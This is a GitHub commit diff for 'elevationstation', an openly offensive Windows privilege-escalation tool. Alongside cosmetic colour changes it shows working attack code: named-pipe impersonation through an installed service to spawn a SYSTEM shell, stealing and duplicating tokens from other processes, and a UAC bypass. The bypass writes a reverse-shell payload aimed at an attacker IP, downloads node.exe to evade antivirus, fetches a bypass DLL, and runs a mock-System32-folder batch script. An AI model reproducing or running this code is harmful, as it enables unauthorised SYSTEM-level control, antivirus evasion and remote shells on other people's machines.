Skip to content

Commit 20d9783

Browse files
committed
curl progress bar and color coded STDOUT!
- Added a progress bar to curl to better interpret completed downloading of scripts - Added colors to STDOUT for novelty and fun ;)
1 parent 979caa9 commit 20d9783

File tree

3 files changed

+92
-20
lines changed

3 files changed

+92
-20
lines changed

elevationstation/def.h

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,4 @@
11
#pragma once
2+
void Color(int color);
23
void setThreadPrivs(LPCWSTR privname);
34
void setProcessPrivs(LPCWSTR privname);

elevationstation/elevationstation.cpp

Lines changed: 71 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -3,6 +3,7 @@
33
#include <fstream>
44
#include <Windows.h>
55
#include <string>
6+
#include <conio.h>
67
#include <lmcons.h>
78
#include <strsafe.h>
89
#include <sddl.h>
@@ -24,11 +25,17 @@ using namespace std;
2425
//SID info: https://learn.microsoft.com/en-US/windows-server/identity/ad-ds/manage/understand-security-identifiers
2526
//lower our token integrity level example: https://kb.digital-detective.net/display/BF/Understanding+and+Working+in+Protected+Mode+Internet+Explorer
2627

28+
void Color(int color)
29+
{
30+
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), color);
31+
}
2732
BOOL NamedPipeImpersonate()
2833
{
2934
setProcessPrivs(SE_IMPERSONATE_NAME);
35+
Color(2);
3036
cout << "[+] Downloading named pipe client for you from the repo\n";
31-
WinExec("curl -L -o \"c:\\users\\public\\warpzoneclient.exe\" \"https://github.com/g3tsyst3m/elevationstation/raw/main/warpzoneclient.exe\"", 0);
37+
Color(7);
38+
WinExec("curl -# -L -o \"c:\\users\\public\\warpzoneclient.exe\" \"https://github.com/g3tsyst3m/elevationstation/raw/main/warpzoneclient.exe\"", 0);
3239
Sleep(3000);
3340
WinExec("cmd.exe /c sc create plumber binpath= \"C:\\Users\\public\\warpzoneclient.exe\" DisplayName= plumber start= auto", 0);
3441

@@ -52,8 +59,10 @@ BOOL NamedPipeImpersonate()
5259
wchar_t message[] = L"Greetings plumber!";
5360
DWORD messageLenght = lstrlen(message) * 2;
5461
DWORD bytesWritten = 0;
55-
56-
std::wcout << "Creating named pipe and sleeping for 3 seconds " << pipeName << std::endl;
62+
63+
Color(2);
64+
std::wcout << "[+] Creating named pipe and sleeping for 3 seconds " << pipeName << std::endl;
65+
Color(7);
5766
serverPipe = CreateNamedPipe(pipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE, 1, 2048, 2048, 0, NULL);
5867
Sleep(3000);
5968
WinExec("cmd.exe /c sc start plumber", 0);
@@ -69,7 +78,9 @@ BOOL NamedPipeImpersonate()
6978
*/
7079
isPipeConnected = ConnectNamedPipe(serverPipe, NULL);
7180
if (isPipeConnected) {
72-
std::wcout << "Incoming connection to " << pipeName << std::endl;
81+
Color(2);
82+
std::wcout << "[+] Incoming connection to " << pipeName << std::endl;
83+
Color(7);
7384
}
7485

7586
std::wcout << "Sending message: " << message << std::endl;
@@ -79,11 +90,13 @@ BOOL NamedPipeImpersonate()
7990
std::wcout << "Impersonating the client..." << std::endl;
8091
if (ImpersonateNamedPipeClient(serverPipe))
8192
{
93+
Color(2);
8294
printf("[+] Successfully Impersonated the client!!\n");
95+
Color(7);
8396
}
8497
else
8598
{
86-
printf("error impersonating the client: %i\n", GetLastError());
99+
printf("[!] error impersonating the client: %i\n", GetLastError());
87100
return false;
88101
}
89102

@@ -141,7 +154,9 @@ BOOL NamedPipeImpersonate()
141154

142155
if (CreateProcessAsUser(hSystemTokenDup, NULL, command, NULL, NULL, TRUE, dwCreationFlags, lpEnvironment, pwszCurrentDirectory, &si, &pi))
143156
{
157+
Color(2);
144158
printf("[+] successfully created a SYSTEM shell!!!\n");
159+
Color(7);
145160
fflush(stdout);
146161
WaitForSingleObject(pi.hProcess, INFINITE);
147162
if (hSystemToken)
@@ -280,7 +295,9 @@ int CheckProcessIntegrity(DWORD pid)
280295
HANDLE hTok;
281296
if (!OpenProcessToken(hProc, TOKEN_QUERY, &hTok))
282297
{
298+
Color(14);
283299
printf("[!] There was an a permissions error applying all access to the token: %d\n", GetLastError());
300+
Color(7);
284301
}
285302
DWORD lengthneeded;
286303
DWORD dwIntegrityLevel;
@@ -483,25 +500,35 @@ int DupThreadToken(DWORD pid)
483500
remoteproc = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, TRUE, pid);
484501
if (remoteproc)
485502
{
503+
Color(2);
486504
wprintf(L"[+] Opened remote process!\n");
505+
Color(7);
487506
}
488507
else
489508
{
509+
Color(14);
490510
wprintf(L"[!] OpenProcess(). Error: %d\n", GetLastError());
511+
Color(7);
491512
}
492513
if (!OpenProcessToken(remoteproc, TOKEN_IMPERSONATE | TOKEN_DUPLICATE | TOKEN_QUERY | TOKEN_ASSIGN_PRIMARY, &tok2))
493514
{
515+
Color(14);
494516
wprintf(L"[!] OpenProcessToken(). Error: %d\n", GetLastError());
517+
Color(7);
495518
}
496519

497520

498521
if (!DuplicateToken(tok2, SecurityImpersonation, &hNewToken))
499522
{
523+
Color(14);
500524
wprintf(L"[!] DuplicateTokenEx() failed. Error: %d\n", GetLastError());
525+
Color(7);
501526
}
502527
if (SetThreadToken(NULL, hNewToken))
503528
{
529+
Color(2);
504530
printf("[+] Successfully set the thread token!\n");
531+
Color(7);
505532
}
506533

507534

@@ -512,12 +539,16 @@ int DupThreadToken(DWORD pid)
512539

513540
if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hSystemToken))
514541
{
542+
Color(14);
515543
wprintf(L"[!] OpenThreadToken(). Error: %d\n", GetLastError());
544+
Color(7);
516545
}
517546

518547
if (!DuplicateTokenEx(hSystemToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &hSystemTokenDup))
519548
{
549+
Color(14);
520550
wprintf(L"[!] DuplicateTokenEx() failed. Error: %d\n", GetLastError());
551+
Color(7);
521552
}
522553

523554

@@ -546,12 +577,16 @@ int DupThreadToken(DWORD pid)
546577

547578
if (bRet == 0)
548579
{
580+
Color(14);
549581
printf("[!] CreateProcessAsUser didn't cooperate...\n");
582+
Color(7);
550583
printf("Return value: %d\n", GetLastError());
551584
}
552585
else
553586
{
587+
Color(2);
554588
printf("[+] CreateProcessAsUser worked!!!\n");
589+
Color(7);
555590
printf("Return value: %d\n", bRet);
556591
fflush(stdout);
557592
WaitForSingleObject(ProcInfo.hProcess, INFINITE);
@@ -615,13 +650,17 @@ int DupProcessToken(DWORD pid)
615650
proc2 = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
616651
if (!proc2)
617652
{
653+
Color(14);
618654
printf("[!] There was a permissions error opening process: %d w/ requested access...: %d\n", pid, GetLastError());
655+
Color(7);
619656
exit(0);
620657
}
621658

622659
if (!OpenProcessToken(proc2, MAXIMUM_ALLOWED, &tok2))
623660
{
661+
Color(14);
624662
printf("[!] There was a permissions error applying the requested access to the token: %d\n", GetLastError());
663+
Color(7);
625664
exit(0);
626665
}
627666
// TCHAR name[UNLEN + 1];
@@ -658,11 +697,15 @@ int DupProcessToken(DWORD pid)
658697

659698
if (!DuplicateTokenEx(tok2, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &hNewToken))
660699
{
700+
Color(14);
661701
wprintf(L"[!] DuplicateTokenEx failed. Error: %d\n", GetLastError());
702+
Color(7);
662703
}
663704
else
664705
{
706+
Color(2);
665707
printf("[+] DuplicateTokenEx success!!!\n");
708+
Color(7);
666709
}
667710
dwCreationFlags = CREATE_UNICODE_ENVIRONMENT | CREATE_BREAKAWAY_FROM_JOB;
668711

@@ -707,12 +750,16 @@ int DupProcessToken(DWORD pid)
707750

708751
if (bRet == 0)
709752
{
753+
Color(14);
710754
printf("[!] CreateProcessWithToken didn't cooperate...permissions maybe???\n");
755+
Color(7);
711756
printf("Return value: %d\n", GetLastError());
712757
}
713758
else
714759
{
760+
Color(2);
715761
printf("[+] CreateProcessWithToken worked!!!\n");
762+
Color(7);
716763
printf("Return value: %d\n", bRet);
717764
fflush(stdout);
718765
WaitForSingleObject(ProcInfo.hProcess, INFINITE);
@@ -729,16 +776,18 @@ void uacbypass()
729776
DWORD procintegrity=CheckProcessIntegrity(GetCurrentProcessId());
730777
if (procintegrity != 0x3000)
731778
{
732-
printf("[+] current process is NOT elevated...time to work some magic!\n");
779+
Color(14);
780+
printf("[!] current process is NOT elevated...time to work some magic!\n");
781+
Color(7);
733782
}
734783
else
735784
{
736-
printf("[!] already elevated!\n");
785+
Color(2);
786+
printf("[+] already elevated! Exiting...\n");
787+
Color(7);
737788
exit(0);
738789
}
739790

740-
741-
742791
cout << "generating rev shell payload now...\n";
743792
string revip, portnum;
744793
cout << "enter the ip for your attacker box for the rev3rse sh3ll:\n";
@@ -762,8 +811,9 @@ void uacbypass()
762811
mypayload << "return /a/;\n";
763812
mypayload << "})();\n";
764813
mypayload.close();
814+
Color(2);
765815
cout << ".js rev shell payload created! It's located at: C:\\users\\public\\elevationstation.js\n";
766-
816+
Color(7);
767817
cout << "now, we need to generate the uac bypass script...\n";
768818
ofstream uacbyppayload;
769819
uacbyppayload.open("c:\\users\\public\\elevateit.bat");
@@ -778,13 +828,17 @@ void uacbypass()
778828
uacbyppayload << "rmdir \"C:\\Windows \\System32\\\"\n";
779829
uacbyppayload << "rmdir \"C:\\Windows \\\"\n";
780830
uacbyppayload.close();
781-
cout << "uac byp@ss script created! It's located at: C:\\users\\public\\elevateit.bat\n";
831+
Color(2);
832+
cout << "[+] uac byp@ss script created! It's located at: C:\\users\\public\\elevateit.bat\n";
833+
Color(7);
782834
cout << "Downloading necessary scripts...\n";
783835
printf("Downloading node.exe portable binary to use for reverse shell and to help stay under the radar from AV detection ;)\n");
784-
WinExec("curl -L -o \"c:\\users\\public\\n0de.exe\" \"https://nodejs.org/download/release/latest/win-x64/node.exe\"", 0); //download directly from nodejs file repo
785-
WinExec("curl -L -o \"c:\\temp\\netutils.dll\" \"https://github.com/g3tsyst3m/elevationstation/raw/main/uacbypass_files/netutils.dll\"", 0); //UAC byp@ss DLL, downloaded directly from the elevationstation repo folder
786-
cout << "while waiting for download to finish, go ahead and start your listener on your attacker box\n";
787-
cout << "You can see the progress of the download in your foothold reverse shell ;) hit [enter] when it's finished to pop your elevated shell!\n";
836+
WinExec("curl -# -L -o \"c:\\users\\public\\n0de.exe\" \"https://nodejs.org/download/release/latest/win-x64/node.exe\"", 0); //download directly from nodejs file repo
837+
WinExec("curl -# -L -o \"c:\\temp\\netutils.dll\" \"https://github.com/g3tsyst3m/elevationstation/raw/main/uacbypass_files/netutils.dll\"", 0); //UAC byp@ss DLL, downloaded directly from the elevationstation repo folder
838+
Color(2);
839+
cout << "[+] while waiting for download to finish, go ahead and start your listener on your attacker box\n";
840+
cout << "You can see the download progress for two files in your foothold reverse shell ;)\nhit [enter] when both reach 100 percent and enjoy your newly spawned elevated shell!\n";
841+
Color(7);
788842
cin.get();
789843
cin.get();
790844
WinExec("c:\\users\\public\\elevateit.bat", 0);
@@ -809,7 +863,9 @@ int main(int argc, char* argv[])
809863
DWORD pid;
810864
if (argc == 1 || argc < 4 && strcmp(argv[1], "-lcp") != 0 && strcmp(argv[1], "-np") != 0 && strcmp(argv[1], "-uac") != 0 && strcmp(argv[1], "-h") != 0)
811865
{
866+
Color(2);
812867
printf("elevationstation.exe -h [lists all commands]\n");
868+
Color(7);
813869
exit(0);
814870
}
815871
/*

elevationstation/tokenprivs.cpp

Lines changed: 20 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,7 @@
11
#pragma once
22
#include <Windows.h>
33
#include <iostream>
4+
#include <conio.h>
45
#include "def.h"
56
void setThreadPrivs(LPCWSTR privname)
67
{
@@ -14,7 +15,7 @@ void setThreadPrivs(LPCWSTR privname)
1415
privname, // privilege to lookup
1516
&luid)) // receives LUID of privilege
1617
{
17-
printf("LookupPrivilegeValue error: %u\n", GetLastError());
18+
printf("[!] LookupPrivilegeValue error: %u\n", GetLastError());
1819
exit(0);
1920
}
2021

@@ -29,17 +30,23 @@ void setThreadPrivs(LPCWSTR privname)
2930

3031
if (!AdjustTokenPrivileges(pToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL))
3132
{
33+
Color(14);
3234
printf("{!] AdjustTokenPrivileges error: %u\n", GetLastError());
35+
Color(7);
3336
exit(0);
3437
}
3538

3639
if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
3740

3841
{
39-
printf("{!] The thread token does not have this specified privilege available to the process. \n");
42+
Color(14);
43+
printf("[!] The thread token does not have this specified privilege available to the process. \n");
44+
Color(7);
4045
exit(0);
4146
}
47+
Color(2);
4248
printf("[+] Privilege: %ws added successfully to the thread!!!\n", privname);
49+
Color(7);
4350
CloseHandle(pToken);
4451
//cin.get();
4552
}
@@ -57,7 +64,9 @@ void setProcessPrivs(LPCWSTR privname)
5764
privname, // privilege to lookup
5865
&luid)) // receives LUID of privilege
5966
{
60-
printf("LookupPrivilegeValue error: %u\n", GetLastError());
67+
Color(14);
68+
printf("[!] LookupPrivilegeValue error: %u\n", GetLastError());
69+
Color(7);
6170
exit(0);
6271
}
6372

@@ -70,17 +79,23 @@ void setProcessPrivs(LPCWSTR privname)
7079

7180
if (!AdjustTokenPrivileges(pToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL))
7281
{
73-
printf("{!] AdjustTokenPrivileges error: %u\n", GetLastError());
82+
Color(14);
83+
printf("[!] AdjustTokenPrivileges error: %u\n", GetLastError());
84+
Color(7);
7485
exit(0);
7586
}
7687

7788
if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
7889

7990
{
80-
printf("{!] The token does not have this specified privilege available to the process. \n");
91+
Color(14);
92+
printf("[!] The token does not have this specified privilege available to the process. \n");
93+
Color(7);
8194
exit(0);
8295
}
96+
Color(2);
8397
printf("[+] Privilege: %ws added successfully!!!\n", privname);
98+
Color(7);
8499
CloseHandle(pToken);
85100
//cin.get();
86101
}

0 commit comments

Comments
 (0)